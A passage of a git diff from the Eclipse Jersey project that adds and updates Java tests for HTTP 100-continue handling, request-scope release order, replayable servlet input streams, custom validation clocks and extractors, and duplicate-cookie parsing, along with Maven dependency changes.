-                callback.succeeded();
-                return true;
-            }
-            if (!expected && !failed) {
-                response.reset();
-                callback.succeeded();
-                return true;
-            }
-            response.write(true, ByteBuffer.wrap("\n\r".getBytes()), callback);
-
-            callback.failed(new ProcessingException(""));
-            return true;
+    private String generateStringByContentLength(int length) {
+        final char[] array = new char[length];
+        final Random r = new Random();
+        for (int i = 0; i < length; i++) {
+            array[i] = ENTITY_STRING.charAt(r.nextInt(ENTITY_STRING.length()));
         }
+        return String.valueOf(array);
+    }
+
+    private static final class TestSocketServer {
+
+        private static final String NO_CONTENT_HEADER = "HTTP/1.1 204 No Content";
+        private static final String OK_HEADER = "HTTP/1.1 200 OK";
+        private static final String EXPECT_HEADER = "HTTP/1.1 100 Continue";
+        private static final String UNAUTHORIZED_HEADER = "HTTP/1.1 401 Unauthorized";
+        private static final String NOT_SUPPORTED_HEADER = "HTTP/1.1 405 Method Not Allowed";
+        private static final String TOO_LARGE_HEADER = "HTTP/1.1 413 Request Entity Too Large";
+
+        private final ExecutorService executorService = Executors.newCachedThreadPool();
+        private AtomicBoolean unauthorized = new AtomicBoolean(false);
+        private AtomicBoolean not_supported = new AtomicBoolean(false);
+        private AtomicBoolean too_large = new AtomicBoolean(false);
+
+        private AtomicBoolean expect_processed = new AtomicBoolean(false);
+
+        private ServerSocket server;
+
+        private volatile boolean stopped = false;
+
+        public TestSocketServer(int port) throws IOException {
+            final ServerSocketFactory socketFactory = ServerSocketFactory.getDefault();
+            server = socketFactory.createServerSocket(port);
+        }
+
+        void stop() {
+            stopped = true;
+            try {
+                server.close();
+                executorService.shutdown();
+                while (!executorService.isTerminated()) {
+                    executorService.awaitTermination(100, TimeUnit.MILLISECONDS);
+                }
+            } catch (IOException | InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        void runServer() {
+
+            executorService.execute(() -> {
+                try {
+                    while (!stopped) {
+                        final Socket socket = server.accept();
+                        executorService.submit(() -> processRequest(socket));
+                    }
+                } catch (IOException e) {
+                    if (!stopped) {
+                        e.printStackTrace();
+                    }
+                }
+            });
+        }
+
+        private void processRequest(final Socket request) {
+            try (final BufferedReader reader = new BufferedReader(new InputStreamReader(request.getInputStream()));
+                 final BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(request.getOutputStream()))) {
+
+
+                while (!stopped) {
+                    final Map<String, String> headers = mapHeaders(reader);
+
+                    if (headers.isEmpty()) {
+                        continue;
+                    }
+
+                    boolean failed = processExpect100Continue(headers, writer);
+
+                    if (failed) {
+                        continue;
+                    }
+
+                    final String http_header = expect_processed.get() ? NO_CONTENT_HEADER : OK_HEADER;
+                    boolean read = readBody(reader, headers);
+
+                    final StringBuffer responseBuffer = new StringBuffer(http_header);
+                    addNewLineToResponse(responseBuffer);
+                    addServerHeaderToResponse(responseBuffer);
+                    addNewLineToResponse(responseBuffer);
+                    addNewLineToResponse(responseBuffer);
+
+                    writer.write(responseBuffer.toString());
+
+                    writer.flush();
+                    if (read) {
+                        break;
+                    }
+
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+            } finally {
+                try {
+                    request.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+
+        private void addNewLineToResponse(StringBuffer responseBuffer) {
+            addToResponse("\r\n", responseBuffer);
+        }
+
+        private void addToResponse(String toBeAdded, StringBuffer responseBuffer) {
+            responseBuffer.append(toBeAdded);
+        }
+
+        private void addServerHeaderToResponse(StringBuffer responseBuffer) {
+            addToResponse("Server: SocketServer v.0.0.1", responseBuffer);
+            addNewLineToResponse(responseBuffer);
+        }
+
+        private boolean processExpect100Continue(Map<String, String> headers, BufferedWriter writer) throws IOException {
+            String http_header = EXPECT_HEADER;
+            boolean failed = false;
+            final String continueHeader = headers.remove("expect");
+
+            if (continueHeader != null && continueHeader.contains("100-continue")) {
+
+                if (unauthorized.get()) {
+                    http_header = UNAUTHORIZED_HEADER;
+                    unauthorized.set(false);
+                    failed = true;
+                }
+
+                if (not_supported.get()) {
+                    http_header = NOT_SUPPORTED_HEADER;
+                    not_supported.set(false);
+                    failed = true;
+                }
+
+                if (too_large.get()) {
+                    http_header = TOO_LARGE_HEADER;
+                    too_large.set(false);
+                    failed = true;
+                }
+
+                expect_processed.set(http_header.equals(EXPECT_HEADER));
+
+
+                final StringBuffer responseBuffer = new StringBuffer(http_header);
+
+                addNewLineToResponse(responseBuffer);
+                addToResponse("Connection: keep-alive", responseBuffer);
+                addNewLineToResponse(responseBuffer);
+                addNewLineToResponse(responseBuffer);
+
+                writer.write(responseBuffer.toString());
+                writer.flush();
+            }
+            return failed;
+        }
+
+        private Map<String, String> mapHeaders(BufferedReader reader) throws IOException {
+            String line;
+            final Map<String, String> headers = new HashMap<>();
+
+
+            if (!reader.ready()) {
+                return headers;
+            }
+
+            while ((line = reader.readLine()) != null && !line.isEmpty()) {
+
+                if (line.contains(RESOURCE_PATH_UNAUTHORIZED)) {
+                    unauthorized.set(true);
+                }
+
+                if (line.contains(RESOURCE_PATH_METHOD_NOT_SUPPORTED)) {
+                    not_supported.set(true);
+                }
+
+                if (line.contains(RESOURCE_PATH_PAYLOAD_TOO_LARGE)) {
+                    too_large.set(true);
+                }
+
+                int pos = line.indexOf(':');
+                if (pos > -1) {
+                    headers.put(
+                            line.substring(0, pos).toLowerCase(Locale.ROOT),
+                            line.substring(pos + 2).toLowerCase(Locale.ROOT).trim());
+                }
+            }
+
+            return headers;
+        }
+
+        private boolean readBody(BufferedReader reader, Map<String, String> headers) throws IOException, InterruptedException {
+            if (headers.containsKey("content-length")) {
+                int contentLength = Integer.valueOf(headers.get("content-length"));
+                int actualLength = 0, readingByte = 0;
+                int[] buffer = new int[contentLength];
+                while (actualLength < contentLength && (readingByte = reader.read()) != -1) {
+                    buffer[actualLength++] = readingByte;
+                }
+                return (actualLength == contentLength);
+            } else if (headers.containsKey("transfer-encoding")) {
+                String line;
+                while ((line = reader.readLine()) != null && !line.equals("0")) {
+                }
+                return true;
+            }
+            return false;
+        }
+
     }
 }
\ No newline at end of file
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/RequestScopeTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/RequestScopeTest.java
index 7582894..d0488fa 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/RequestScopeTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/RequestScopeTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,8 @@
 package org.glassfish.jersey.tests.e2e.common.process.internal;
 
 import java.lang.reflect.Type;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.function.Consumer;
 
 import org.glassfish.jersey.inject.hk2.Hk2RequestScope;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
@@ -25,6 +27,7 @@
 import org.glassfish.hk2.api.ServiceHandle;
 import org.glassfish.hk2.utilities.AbstractActiveDescriptor;
 
+import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.api.Test;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertNull;
@@ -140,6 +143,34 @@
         assertNull(instance.get(inhab));
     }
 
+    @Test
+    public void testOrderOfRelease() {
+        final RequestScope requestScope = new Hk2RequestScope();
+        final AtomicInteger instanceRelease = new AtomicInteger(0);
+        final Hk2RequestScope.Instance instance = requestScope.runInScope(() -> {
+            final Hk2RequestScope.Instance internalInstance = (Hk2RequestScope.Instance) requestScope.current();
+            for (int index = 1; index != 10; index++) {
+                final int in = index;
+                TestProvider testProvider = new TestProvider(String.valueOf(in)) {
+                    @Override
+                    public int hashCode() {
+                        return super.hashCode() + in;
+                    }
+                };
+                final ForeignDescriptor fd = ForeignDescriptor.wrap(testProvider, new Consumer<Object>() {
+                    @Override
+                    public void accept(Object o) {
+                        instanceRelease.set(instanceRelease.get() * 10 + in);
+                    }
+                });
+                internalInstance.put(fd, String.valueOf(index));
+            }
+            return internalInstance;
+        });
+        instance.release();
+        Assertions.assertEquals(987654321, instanceRelease.get());
+    }
+
     /**
      * Test request scope inhabitant.
      */
diff --git a/tests/e2e-jdk-specifics/pom.xml b/tests/e2e-jdk-specifics/pom.xml
index b665f20..c31dc24 100644
--- a/tests/e2e-jdk-specifics/pom.xml
+++ b/tests/e2e-jdk-specifics/pom.xml
@@ -32,6 +32,10 @@
 
     <description>Jersey E2E tests for testing JDK 17+ specifics</description>
 
+    <properties>
+        <http.patch.addopens>--add-opens java.base/java.net=ALL-UNNAMED</http.patch.addopens>
+    </properties>
+
     <build>
         <plugins>
             <plugin>
@@ -74,25 +78,4 @@
         </dependency>
     </dependencies>
 
-    <profiles>
-        <profile>
-            <id>jdk15-</id>
-            <activation>
-                <jdk>[8, 16)</jdk>
-            </activation>
-            <properties>
-                <http.patch.addopens> </http.patch.addopens>
-            </properties>
-        </profile>
-        <profile>
-            <id>jdk16+</id>
-            <activation>
-                <jdk>[16, )</jdk>
-            </activation>
-            <properties>
-                <http.patch.addopens>--add-opens java.base/java.net=ALL-UNNAMED</http.patch.addopens>
-            </properties>
-        </profile>
-    </profiles>
-
 </project>
diff --git a/tests/e2e-server/pom.xml b/tests/e2e-server/pom.xml
index e2acc1a..526e872 100644
--- a/tests/e2e-server/pom.xml
+++ b/tests/e2e-server/pom.xml
@@ -210,6 +210,13 @@
         </dependency>
 
         <dependency>
+            <groupId>org.eclipse.jetty.ee10</groupId>
+            <artifactId>jetty-ee10-servlet</artifactId>
+            <version>${jetty.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
             <groupId>org.hamcrest</groupId>
             <artifactId>hamcrest</artifactId>
             <scope>test</scope>
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SimilarInputStreamTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SimilarInputStreamTest.java
new file mode 100644
index 0000000..8e8b5d4
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SimilarInputStreamTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.server;
+
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.ee10.servlet.ServletContextHandler;
+import org.eclipse.jetty.ee10.servlet.ServletHolder;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.internal.InternalProperties;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import org.glassfish.jersey.message.internal.ReaderWriter;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.servlet.ServletContainer;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.junit.jupiter.api.Test;
+
+import jakarta.servlet.DispatcherType;
+import jakarta.servlet.Filter;
+import jakarta.servlet.FilterChain;
+import jakarta.servlet.ReadListener;
+import jakarta.servlet.ServletException;
+import jakarta.servlet.ServletInputStream;
+import jakarta.servlet.ServletRequest;
+import jakarta.servlet.ServletResponse;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequestWrapper;
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.Invocation;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.URI;
+import java.util.Collections;
+import java.util.EnumSet;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class SimilarInputStreamTest extends JerseyTest {
+
+    @Override
+    protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
+        return (baseUri, deploymentContext) -> {
+            final Server server = JettyHttpContainerFactory.createServer(baseUri, false);
+            final ServerConnector connector = new ServerConnector(server);
+            connector.setPort(9001);
+            server.addConnector(connector);
+
+            final ServletContainer jerseyServletContainer = new ServletContainer(deploymentContext.getResourceConfig());
+            final ServletHolder jettyServletHolder = new ServletHolder(jerseyServletContainer);
+
+            final ServletContextHandler context = new ServletContextHandler(ServletContextHandler.NO_SESSIONS);
+            context.setContextPath("/");
+
+            // filter which will change the http servlet request to have a reply-able input stream
+            context.addFilter(FilterSettingMultiReadRequest.class,
+                    "/*", EnumSet.allOf(DispatcherType.class));
+            context.addServlet(jettyServletHolder, "/api/*");
+
+            server.setHandler(context);
+            return new TestContainer() {
+                @Override
+                public ClientConfig getClientConfig() {
+                    return new ClientConfig();
+                }
+
+                @Override
+                public URI getBaseUri() {
+                    return baseUri;
+                }
+
+                @Override
+                public void start() {
+                    try {
+                        server.start();
+                    } catch (Exception e) {
+                        throw new RuntimeException(e);
+                    }
+                }
+
+                @Override
+                public void stop() {
+                    try {
+                        server.stop();
+                    } catch (Exception e) {
+                        throw new RuntimeException(e);
+                    }
+                }
+            };
+        };
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig resourceConfig = new ResourceConfig(TestResource.class);
+        // force jersey to use jackson for deserialization
+        resourceConfig.addProperties(
+                Collections.singletonMap(InternalProperties.JSON_FEATURE, JacksonFeature.class.getSimpleName()));
+        return resourceConfig;
+    }
+
+    @Test
+    public void readJsonWithReplayableInputStreamFailsTest() {
+        final Invocation.Builder requestBuilder = target("/api/v1/echo").request();
+        final MyDto myDto = new MyDto();
+        myDto.setMyField("Something");
+        try (Response response = requestBuilder.post(Entity.entity(myDto, MediaType.APPLICATION_JSON))) {
+            // fixed from failure with a 400 as jackson can never finish reading the input stream
+            assertEquals(200, response.getStatus());
+            final MyDto resultDto = response.readEntity(MyDto.class);
+            assertEquals("Something", resultDto.getMyField()); //verify we still get Something
+        }
+    }
+
+    @Path("/v1")
+    public static class TestResource {
+
+        @POST
+        @Path("/echo")
+        @Produces(MediaType.APPLICATION_JSON)
+        @Consumes(MediaType.APPLICATION_JSON)
+        public MyDto echo(MyDto input) {
+            return input;
+        }
+    }
+
+    public static class MyDto {
+        private String myField;
+
+        public String getMyField() {
+            return myField;
+        }
+
+        public void setMyField(String myField) {
+            this.myField = myField;
+        }
+
+        @Override
+        public String toString() {
+            return "MyDto{"
+                    + "myField='" + myField + '\''
+                    + '}';
+        }
+    }
+
+
+    public static class FilterSettingMultiReadRequest implements Filter {
+        @Override
+        public void doFilter(ServletRequest request, ServletResponse response,
+                             FilterChain chain) throws IOException, ServletException {
+            /* wrap the request in order to read the inputstream multiple times */
+            MultiReadHttpServletRequest multiReadRequest = new MultiReadHttpServletRequest((HttpServletRequest) request);
+            chain.doFilter(multiReadRequest, response);
+        }
+    }
+
+    static class MultiReadHttpServletRequest extends HttpServletRequestWrapper {
+        private byte[] cachedBytes;
+
+        public MultiReadHttpServletRequest(HttpServletRequest request) {
+            super(request);
+        }
+
+        @Override
+        public ServletInputStream getInputStream() throws IOException {
+            if (cachedBytes == null) {
+                cacheInputStream();
+            }
+
+            return new CachedServletInputStream(cachedBytes);
+        }
+
+        @Override
+        public BufferedReader getReader() throws IOException {
+            return new BufferedReader(new InputStreamReader(getInputStream()));
+        }
+
+        private void cacheInputStream() throws IOException {
+            // Cache the inputstream in order to read it multiple times.
+            cachedBytes = ReaderWriter.readFromAsBytes(super.getInputStream());
+        }
+
+
+        /* An input stream which reads the cached request body */
+        private class CachedServletInputStream extends ServletInputStream {
+
+            private final ByteArrayInputStream buffer;
+
+            public CachedServletInputStream(byte[] contents) {
+                this.buffer = new ByteArrayInputStream(contents);
+            }
+
+            @Override
+            public int read() {
+                return buffer.read();
+            }
+
+            @Override
+            public boolean isFinished() {
+                return buffer.available() == 0;
+            }
+
+            @Override
+            public boolean isReady() {
+                return true;
+            }
+
+            @Override
+            public void setReadListener(ReadListener listener) {
+                throw new RuntimeException("Not implemented");
+            }
+        }
+    }
+}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/CustomConfigValidationTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/CustomConfigValidationTest.java
index 5f17f73..46d3cec 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/CustomConfigValidationTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/CustomConfigValidationTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,22 +16,38 @@
 
 package org.glassfish.jersey.tests.e2e.server.validation;
 
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
 import java.lang.annotation.ElementType;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
+import java.lang.reflect.Type;
+import java.time.Clock;
 import java.util.Arrays;
+import java.util.Date;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Locale;
+import java.util.concurrent.atomic.AtomicReference;
 
+import jakarta.validation.ClockProvider;
+import jakarta.validation.constraints.Future;
+import jakarta.validation.valueextraction.ExtractedValue;
+import jakarta.validation.valueextraction.UnwrapByDefault;
+import jakarta.validation.valueextraction.ValueExtractor;
 import jakarta.ws.rs.Consumes;
 import jakarta.ws.rs.HeaderParam;
 import jakarta.ws.rs.POST;
 import jakarta.ws.rs.PathParam;
 import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.client.Entity;
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.Response;
 import jakarta.ws.rs.ext.ContextResolver;
 
@@ -44,7 +60,10 @@
 import jakarta.validation.constraints.NotNull;
 import jakarta.validation.constraints.Size;
 
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.MessageBodyWriter;
 import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.moxy.xml.MoxyXmlFeature;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.ServerProperties;
@@ -54,7 +73,9 @@
 
 import org.eclipse.persistence.jaxb.BeanValidationMode;
 import org.eclipse.persistence.jaxb.MarshallerProperties;
+import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.api.Test;
+
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertFalse;
 import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -63,6 +84,7 @@
  * @author Michal Gajdos
  */
 public class CustomConfigValidationTest extends JerseyTest {
+    private static final AtomicReference<Boolean> CLOCK_HIT = new AtomicReference<>(false);
 
     @jakarta.ws.rs.Path("customconfigvalidation/{path: .*}")
     public static class CustomConfigResource {
@@ -85,12 +107,34 @@
         }
     }
 
+    @jakarta.ws.rs.Path("customclockvalidation")
+    public static class CustomClockResource {
+        @POST
+        @Valid
+        public String echo(@Future Date date) {
+            return "OK";
+        }
+    }
+
+    @jakarta.ws.rs.Path("customextractorvalidation")
+    public static class CustomExtractorResource {
+        @POST
+        @Valid
+        public String validate(@Size(min = 5) LikeString string) {
+            return "OK";
+        }
+    }
+
     @Override
     protected Application configure() {
         enable(TestProperties.DUMP_ENTITY);
         enable(TestProperties.LOG_TRAFFIC);
 
-        final ResourceConfig resourceConfig = new ResourceConfig(CustomConfigResource.class);
+        final ResourceConfig resourceConfig = new ResourceConfig(CustomConfigResource.class)
+                .register(CustomClockResource.class)
+                .register(CustomExtractorResource.class)
+                .register(new DateMessageProvider())
+                .register(new LikeStringMessageProvider());
 
         // Turn off BV in MOXy otherwise the entities on server would be validated at incorrect times.
         resourceConfig.register(moxyXmlFeature());
@@ -160,6 +204,45 @@
         assertEquals(null, response.readEntity(CustomBean.class).getPath());
     }
 
+    @Test
+    public void testCustomClock() {
+        Assertions.assertFalse(CLOCK_HIT.get());
+        Date before = new Date(System.currentTimeMillis() - 1_000_000_000);
+        Date after = new Date(System.currentTimeMillis() + 1_000_000_000);
+        try (Response response = target("customclockvalidation")
+                .register(new DateMessageProvider())
+                .request()
+                .post(Entity.entity(after, MediaType.TEXT_PLAIN_TYPE))) {
+            Assertions.assertEquals("OK", response.readEntity(String.class));
+            Assertions.assertTrue(CLOCK_HIT.get());
+        }
+
+        try (Response response = target("customclockvalidation")
+                .register(new DateMessageProvider())
+                .request()
+                .post(Entity.entity(before, MediaType.TEXT_PLAIN_TYPE))) {
+            Assertions.assertEquals(400, response.getStatus());
+        }
+    }
+
+    @Test
+    public void testCustomExtractor() {
+        try (Response response = target("customextractorvalidation")
+                .register(new LikeStringMessageProvider())
+                .request()
+                .post(Entity.entity(new LikeString("123456"), MediaType.TEXT_PLAIN_TYPE))) {
+            Assertions.assertEquals("OK", response.readEntity(String.class));
+        }
+
+        try (Response response = target("customextractorvalidation")
+                .register(new LikeStringMessageProvider())
+                .request()
+                .post(Entity.entity(new LikeString("1234"), MediaType.TEXT_PLAIN_TYPE))) {
+            Assertions.assertEquals(400, response.getStatus());
+        }
+
+    }
+
     public static class ValidationConfigurationContextResolver implements ContextResolver<ValidationConfig> {
 
         private final ValidationConfig config;
@@ -171,6 +254,8 @@
             config.messageInterpolator(new CustomMessageInterpolator());
             config.parameterNameProvider(new CustomParameterNameProvider());
             config.traversableResolver(new CustomTraversableResolver());
+            config.clockProvider(new CustomClockProvider());
+            config.addValueExtractor(new LikeStringExtractor());
         }
 
         @Override
@@ -240,4 +325,82 @@
             return false;
         }
     }
+
+    private static class CustomClockProvider implements ClockProvider {
+        @Override
+        public Clock getClock() {
+            CLOCK_HIT.set(true);
+            return Clock.systemUTC();
+        }
+    }
+
+    private static class DateMessageProvider implements MessageBodyWriter<Date>, MessageBodyReader<Date> {
+        @Override
+        public boolean isReadable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return Date.class.equals(type);
+        }
+
+        @Override
+        public Date readFrom(Class<Date> type, Type genericType, Annotation[] annotations, MediaType mediaType,
+                             MultivaluedMap<String, String> httpHeaders, InputStream entityStream)
+                throws IOException, WebApplicationException {
+            String date = ReaderWriter.readFromAsString(new InputStreamReader(entityStream));
+            return new Date(Long.parseLong(date));
+        }
+
+        @Override
+        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return Date.class.equals(type);
+        }
+
+        @Override
+        public void writeTo(Date date, Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType,
+                            MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream)
+                throws IOException, WebApplicationException {
+            entityStream.write(String.valueOf(date.getTime()).getBytes());
+        }
+    }
+
+    private static class LikeString {
+        private final String inner;
+
+        private LikeString(String inner) {
+            this.inner = inner;
+        }
+    }
+
+    private static class LikeStringMessageProvider implements MessageBodyReader<LikeString>, MessageBodyWriter<LikeString> {
+
+        @Override
+        public boolean isReadable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return LikeString.class.equals(type);
+        }
+
+        @Override
+        public LikeString readFrom(Class<LikeString> type, Type genericType, Annotation[] annotations,
+                                   MediaType mediaType, MultivaluedMap<String, String> httpHeaders, InputStream entityStream)
+                throws IOException, WebApplicationException {
+            return new LikeString(ReaderWriter.readFromAsString(entityStream, MediaType.WILDCARD_TYPE));
+        }
+
+        @Override
+        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return LikeString.class.equals(type);
+        }
+
+        @Override
+        public void writeTo(LikeString likeString, Class<?> type, Type genericType, Annotation[] annotations,
+                            MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream)
+                throws IOException, WebApplicationException {
+            entityStream.write(likeString.inner.getBytes());
+        }
+    }
+
+    @UnwrapByDefault
+    private static class LikeStringExtractor implements ValueExtractor<@ExtractedValue(type = String.class) LikeString> {
+        @Override
+        public void extractValues(@ExtractedValue(type = String.class) LikeString originalValue, ValueReceiver receiver) {
+            receiver.value(null, originalValue.inner);
+        }
+    }
 }
diff --git a/tests/e2e/pom.xml b/tests/e2e/pom.xml
index e2cf8b9..2d1b282 100644
--- a/tests/e2e/pom.xml
+++ b/tests/e2e/pom.xml
@@ -175,6 +175,12 @@
             <version>${junit-platform-suite.version}</version>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-binding</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
 
         <dependency>
             <groupId>org.glassfish.jersey.test-framework</groupId>
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
index 5992b54..53cd76d 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -151,27 +151,46 @@
     @Test
     public void testMultipleCookiesWithSameName(){
 
-        String cookieHeader = "kobe=longeststring; kobe=shortstring";
+        String cookieHeader = "kobe=oldeststring; kobe=neweststring";
         Map<String, Cookie> cookies = HttpHeaderReader.readCookies(cookieHeader);
         assertEquals(cookies.size(), 1);
         Cookie c = cookies.get("kobe");
         assertEquals(c.getVersion(), 0);
         assertEquals("kobe", c.getName());
-        assertEquals("longeststring", c.getValue());
+        assertEquals("neweststring", c.getValue());
 
-        cookieHeader = "bryant=longeststring; bryant=shortstring; fred=shortstring ;fred=longeststring;$Path=/path";
+        cookieHeader = "bryant=longeststring; bryant=neweststring; fred=oldeststring ;fred=neweststring;$Path=/path";
         cookies = HttpHeaderReader.readCookies(cookieHeader);
         assertEquals(cookies.size(), 2);
         c = cookies.get("bryant");
         assertEquals(c.getVersion(), 0);
         assertEquals("bryant", c.getName());
-        assertEquals("longeststring", c.getValue());
+        assertEquals("neweststring", c.getValue());
         c = cookies.get("fred");
         assertEquals(c.getVersion(), 0);
         assertEquals("fred", c.getName());
-        assertEquals("longeststring", c.getValue());
+        assertEquals("neweststring", c.getValue());
         assertEquals("/path", c.getPath());
 
+        cookieHeader = "cookiewithpath=longeststring;$Path=/path; cookiewithpath=string1;$Path=/path;"
+                + " cookiewithpath=string2;$Path=/path ;cookiewithpath=string3;$Path=/path";
+        cookies = HttpHeaderReader.readCookies(cookieHeader);
+        assertEquals(cookies.size(), 1);
+        c = cookies.get("cookiewithpath");
+        assertEquals(c.getVersion(), 0);
+        assertEquals("cookiewithpath", c.getName());
+        assertEquals("string3", c.getValue());
+
+        cookieHeader = "cookiewithpath=longeststring;$Path=/path/added/path; cookiewithpath=string1;$Path=/path;"
+                + " cookiewithpath=string2;$Path=/path ;cookiewithpath=string3;$Path=/path";
+        cookies = HttpHeaderReader.readCookies(cookieHeader);
+        assertEquals(cookies.size(), 1);
+        c = cookies.get("cookiewithpath");
+        assertEquals(c.getVersion(), 0);
+        assertEquals("cookiewithpath", c.getName());
+        assertEquals("longeststring", c.getValue());
+        assertEquals("/path/added/path", c.getPath());
+
     }
 
     @Test
diff --git a/tests/integration/async-jersey-filter/src/main/java/module-info.java b/tests/integration/async-jersey-filter/src/main/java/module-info.java
index 9483986..f4973c1 100644
--- a/tests/integration/async-jersey-filter/src/main/java/module-info.java
+++ b/tests/integration/async-jersey-filter/src/main/java/module-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,7 @@
 
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.core.server;
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
 
     exports org.glassfish.jersey.tests.integration.async;
     exports org.glassfish.jersey.tests.integration.jersey2730;
